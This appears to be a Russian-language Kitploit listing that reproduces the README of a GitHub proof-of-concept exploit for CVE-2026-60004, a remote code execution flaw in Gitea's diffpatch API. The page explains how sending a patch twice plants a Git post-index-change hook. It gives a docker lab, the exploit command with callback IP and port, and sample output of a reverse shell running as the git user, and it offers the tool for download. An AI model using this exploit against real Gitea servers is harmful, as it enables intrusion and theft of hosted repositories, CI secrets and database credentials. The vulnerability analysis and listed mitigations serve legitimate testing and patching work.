Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-60004 — Автоматизированный proof-of-concept эксплойт для CVE-2026-60004 — RCE через Git-хук diffpatch в Gitea, который устанавливает хук post-index-change для получения обратной оболочки от имени сервисной учётной записи. | Kitploit
Инструменты/GitHubGitHub/yym8538/cve-2026-60004
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubyym8538/cve-2026-60004

CVE-2026-60004

Автоматизированный proof-of-concept эксплойт для CVE-2026-60004 — RCE через Git-хук diffpatch в Gitea, который устанавливает хук post-index-change для получения обратной оболочки от имени сервисной учётной записи.

11 месяц назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Обзор

CVE-2026-60004 — это уязвимость удалённого выполнения кода (RCE) в Gitea. API diffpatch применяет переданный патч с помощью git apply --cached, который должен затрагивать только индекс и никогда не записывать файлы на диск. Отправляя один и тот же патч дважды, атакующий вызывает коллизию add/add, которая запускает резервный трёхсторонний merge Git (-3). Этот путь игнорирует --cached и выгружает файл в рабочее дерево. Поскольку временный клон является bare, корнем его рабочего дерева выступает $GIT_DIR. Поэтому патч, создающий исполняемый , размещает рабочий Git-хук, который Git автоматически запускает при следующем обновлении индекса — выполняя команды от имени сервисной учётной записи Gitea. Для доступа к эндпоинту нужны права на запись в репозиторий, но регистрация включена по умолчанию, поэтому любой пользователь, способный зарегистрироваться и создать репозиторий, может до него добраться.

hooks/post-index-change

Уязвимые версии

КатегорияВерсия
УязвимыеGitea 1.17 ≤ версия ≤ 1.27.0
ИсправленныеGitea 1.27.1 или новее

Воздействие

  • Удалённое выполнение кода от имени сервисной учётной записи Gitea (git)
  • Доступ ко всем размещённым репозиториям, секретам CI и учётным данным базы данных

Окружение

Соберите и запустите уязвимое окружение Gitea. Регистрация оставлена открытой, а сервер поставляется с Git 2.32+, что включает резервный режим -3, на который опирается атака.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
ПредусловиеСостояние в этой лаборатории
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ на сервере (включает -3)2.54
Открытая регистрациявключена (по умолчанию)
Права на запись в репозиторийчерез самостоятельно зарегистрированную учётную запись

PoC

Эксплойт полностью автоматизирован в gitea_exploit.py. Имея учётную запись, способную создавать репозиторий, он создаёт целевой репозиторий, отправляет один и тот же патч повторно, пока не сработает резервный режим -3 в Git, и перехватывает обратную оболочку встроенным слушателем — без ручной настройки, составления патчей или вычисления хешей блобов.

root@kitploit:~
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Резервный режим -3 срабатывает только в определённых временных окнах, поэтому скрипт циклически выполняет create → send → send, пока не поймает срабатывание (по умолчанию 25 попыток). Когда отправка блокируется, хук сработал, и слушатель помещает вас в оболочку от имени git:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

Опции:

  • --no-listen — перехватить оболочку своим внешним nc вместо встроенного слушателя
  • --user / --pw / --repo / --branch — переопределить учётную запись по умолчанию и целевой репозиторий

Меры противодействия

  • Обновите Gitea до 1.27.1 или новее
  • Отключите открытую регистрацию, если она не требуется (DISABLE_REGISTRATION=true)
  • Ограничьте круг лиц, имеющих доступ к экземпляру и возможность создавать репозитории

Анализ

  • KR: Coming soon!
  • EN:
Скачать инструмент